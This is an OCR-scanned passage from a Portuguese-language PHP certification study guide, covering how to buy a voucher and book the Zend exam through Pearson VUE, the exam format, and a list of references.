aplicacao web, e possui inumeras caracteristicas, como vimos neste
livro. Comegamos pela parte basica, conhecendo a sintaxe da
linguagem, suas pequenas particularidades de como manipular
bitwise, e fomos até aos cuidados que devemos para criar uma
aplicacdo segura.

No meio do caminho, vimos como manipular strings, arquivos e
como criar aplicagdes ricas com Orientagdo a Objetos, e nio
paramos por ai. Aprendemos também que para termos uma
aplicagdo de sucesso e passar na prova de certificagdo da Zend, é
preciso conhecer muito bem banco de dados e PDO. Imagino que a
essa altura do campeonato vocé ja saiba o que cada letra do PDO
significa, certo?

A grande inspiragao para escrever este livro veio da falta de uma
fonte centralizadora de conhecimento em portugués. Encontramos
inumeros tutoriais, livros e revistas falando sobre certificacao, mas
em inglés. Nos nossos estudos para seguir a carreira de um Zend
Certified Engineer, sentimos muito falta de onde encontrar uma
unica fonte para estudar, como um guia. Este onde nao precisamos
ter todas as informacdes existentes do mundo sobre a certificacao
PHP, mas que contenha o contetido com o caminho das pedras, no
qual possamos consultar e aprender.

Com este livro, esperamos que todos que tiverem esse mesmo
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sentimento ao estudar para se tornar um certificado PHP tenha um
fim. E para aqueles que sempre nos perguntam por onde comegar os
estudos, tenham um guia a partir de agora.

Sabemos que a jornada é longa, e que por mais que este livro
tenha mais de 400 paginas, ndo é o suficiente. Leve o seu estudo a
sério, e verifique cada link que disponibilizamos entre os capitulos
com informagdes adicionais. Isso fard com o que vocé masterize
suas habilidades com o PHP.

12.1 AGENDANDO SUA PROVA

Depois de todo esse conteudo que vocé absorveu, é a hora de
marcarmos o grande dia para realizar a prova. Para isso, a primeira

coisa que devemos fazer é comprar o voucher.

Temos dois modos para realizar a compra do voucher. O
primeiro é indo no site da Zend, em
https://www.zend.com/en/services/certification/php-5-certification,

e realizar a compra por 14, como mostra a figura:

Zend PHP Certification Information

$195.00

CERTIFIED

based on PHP 5.5,

Are you a ZCE but want the latest Zend Certified PHP Engineer Certification? Ema
Need help preparing or are you interested in a review class? [

lirk AfCunmimn TAamicr

Figura 12.1: Site da Zend com o voucher da prova de certificagaio PHP

A outra forma é diretamente com o site da PersonVue, a
empresa responsavel por aplicar a prova e fazer todo o processo por
la. Vamos seguir os passos diretos com a PersonVue. Com ela, fica
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muito mais facil, pois vocé consegue comprar o voucher e agendar a
prova no préprio site.

Va ao site http://www.pearsonvue.com/zend, e crie a sua conta
clicando no botdo Create account.

You are here: Home ¢ T

= - £ - = ik | BEI
Zend Technologies Certification Testing
Zend Cemifications provide indusiry recognition of your knowledge and proficiency with PHP and Zend Framework.
et an advantage over other PHP programmers, that are not cerified, when looking for a new job, or at your annual ' The PHP Company
salary review.

zend

Zend's centification exams encompass curculum cri specified by the Zend PHP and Zend Framework

Ardvisory Boards, essental to dermonstrate expert probioency in these opics. The credential s an m y standard

that recognizes PHP and Zend Framework expenise. We are currently offering PHP, Zend Framework 1and Zend 10 Schedule, reschedule or cance
an exam:

Framework 2 exams.

Get Study Guides from Zend!

- Forgot my usemams
- Faorgot my password

B Find atest center

| o
zend Certified Engineer, Zend Framewark B Find an on-base test
cenler

S view exams
ZF2 Certified Architect

EED

3 need help? Contact
customer service

Figura 12.2: Site da PersonVue dedicado aos candidatos a ZCPE

Apos criar a sua conta no site da PersonVue, preencha todos os
seus dados pessoais e alguns referentes a conta da Zend, como o seu
Zend ID (se vocé possuir um).

E nesse momento que a PersonVue sincroniza os seus dados
com a Zend se vocé ja possuir um Zend ID. Caso ndo possua,
nao tem problema, pois vocé consegue cria-lo durante o seu
cadastro na PersonVue.

Apds confirmar todos os dados e ter uma conta PersonVue
ativa, ja podemos agendar o exame. Ao realizar o login, vocé
visualizara uma tela como a mostrada a seguir, com os exames
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disponibilizados pela Zend.

PEARSON VUE

Home

Zend Technologies, Ltd. Exams

Exam Catalog

= 200-550: Zend Certified PHP Engineer
= ZF-100-500: Zend Framework Certification
= ZF2-200-550: Zend Framework 2 Certification

Upcoming Appointments

You do not have any appointments scheduled.

Figura 12.3: Exames disponibilizados pela Zend

Language: English | B#:F |

Home | My Order | Sig

vd -

zend

Signed In as: Matheus Marabesi |
ZEND ID: ZENDI

My Account

* Account Sign In

+ Additional Information
» Preferences

» Exam History

* My Receipts

Selecione o exame 200-550: Zend Certified PHP Engineer, e

prossiga com o seu agendamento. Uma coisa bem interessante sobre

a PersoVue é que o sistema deles permite visualizar os centros

autorizados para aplicarem a prova, no mapa mais perto do seu

endereco.

414 12.1 AGENDANDO SUA PROVA



Exam Selection: 200-550; Zend Centifed PHP Engineer | Language: English Chanae Exam

Find lest centers near: | ay palisia, Sao Paulo. Sao Pauk, Brazil x | [Searcn]
£.g., 5401 Green Viley Drive, Ricomingson, MN or “Paris, France” or "S5437

MILITARY COMMUNITY looking for on-base test centers. please chick here.

You can select up to three test centers to compare availability.

Distaner [ ext |
Test Center Swwkm  Directions

il 'l Impacta Certificacao @ Treinamenta 0.0 mi et Directions "Ll
e, Pawilistax 1008, 4 andiar Mep  Satelie {7
Sao Paulo Sao Paulo & %
01310-100
Brazil
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4
-4
y

Fyl Treinamento Lida 0.4 mi et Directions
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Figura 12.4: Centros autorizados a aplicarem a prova

Apos selecionar o seu exame e onde vocé deseja realiza-lo, basta
prosseguir com o agendamento e, finalmente, chegar a tltima parte
para realizar o pagamento.

iy wiuel " ZEND ID: ZEND028720
Description Details Price Actions

Exam Appointment 195.00 Remove

200-550: Zend Certified PHP Engineer Wednesday, April 13, 2016

Start Time: 12:30 PM BRT

Language: English Change Appointment

Exam Length: 90 minutes

Location

Impacta Certificacao e Treinamento
Av. Paulista 1009, 4 andar

Sao Paulo Sao Paule

01310-100

Brazil

Change Test Center

Subtotal 195.00
Estimated Tax 0.00
ESTIMATED TOTAL DUE: USD 195.00

Add Another Exam| or [ d to Checkout

‘You can enter voucher/promotion codes on the payment screen.

Figura 12.5: Ultima etapa antes de realizar o pagamento
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Algumas confirmag¢des de dados serao realizadas, e vocé
também precisara aceitar os termos e condi¢does da PersonVue.
Logo em seguida, sera apresentado um formuldrio para vocé
informar os dados do pagamento. Nesse momento, é necessario que
vocé tenha um cartdo internacional para realizar a transagdo com
sucesso.

Uma vez que todos os dados foram preenchidos e os dados
confirmados, vocé receberd um e-mail confirmando a sua compra.
Agora € s6 aguardar o dia para realizar a sua prova no local e hora
agendados. Aconselho que guarde bem essa data, e chegue pelo
menos 30 minutos antes no local, se vocé ja conhecer, e 1 hora antes
caso ndo conheca.

12.2 APROVA

Infelizmente, a prova da Zend ¢é totalmente em inglés, e ndo ha
tradugdo para nenhuma outra lingua. Isso é um dos grandes pontos
que faz as pessoas desistirem.

Vocé ndo precisa ser fluente em inglés, apenas o inglés técnico
basta. Se vocé nao esta confiante, verifique os simulados, pois eles
também sao todos em inglés. Uma vez confortavel com o simulado,
vocé estara confortavel para fazer a prova também.

A prova abrange um total de 70 questdes misturadas entre todos
os topicos apresentados neste livro. Nao ha nenhum tipo de
separagdo por topicos nas questdes, vocé pode ler uma que ¢é
relacionada a seguranga e, logo em seguida, ter uma pergunta sobre
XML.

Vocé possui um total de 90 minutos para responder todas as
questdes e nao é possivel deixar a questdo em branco. Além disso,
vocé tem a op¢ao de marcar a pergunta para ser revisada. Ou seja, se

416 12.2 APROVA



vocé ndo conseguir responder aquela pergunta imediatamente, essa
op¢éao pode ser usada para que vocé volte nela depois.

A prova é realizada em um computador, e vocé recebe um papel
e uma caneta para rascunho, caso for necessario. Nao é permitido
nenhum tipo de outro material, como celular e guia para consultas.
Nesse momento, ¢ s6 vocé e seu cérebro.

Ao responder todas as perguntas, uma tabela com o status de
todas as perguntas ¢ exibido, mostrando quais foram respondidas e
quais estdo marcadas para revisdo, permitindo a vocé realizar uma
revisdo nas perguntas. Caso vocé tenha certeza de que finalizou a
prova, sera exibida uma tela de confirmagido duas vezes para
finalizar a prova, garantindo assim que vocé realmente deseja
finaliza-la e submeter suas respostas.

E para a nossa alegria, o resultado sai na hora!
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CariTuLo 13

REFERENCIAS DE
LIVROS/CONTEUDOS
UTILIZADOS NESSE LIVRO

e Documentagio oficial do PHP http://php.net

e Zend Certified PHP Engineer Exam Study Guide,
version 1-4

e Zend PHP 5.5 Certification Test Preparation Course v
1-3

e ZEND PHP 5 Certification STUDY GUIDE, Davey
Shafik with Ben Ramsey

e« PHP Cookbook, Solutions & Examples for PHP
programmers, David Sklar & Adam Trachtenberg

e Master PHP

e Security PHP, O'Reilly

e Introdugéo ds Expressoe Regulares, O'Reilly

« stackoverflow.com

« sandbox.onlinephpfunctions.com

o shiflett.org/articles/foiling-cross-site-attacks

* WWW.OWasp.org

o www.phparch.com
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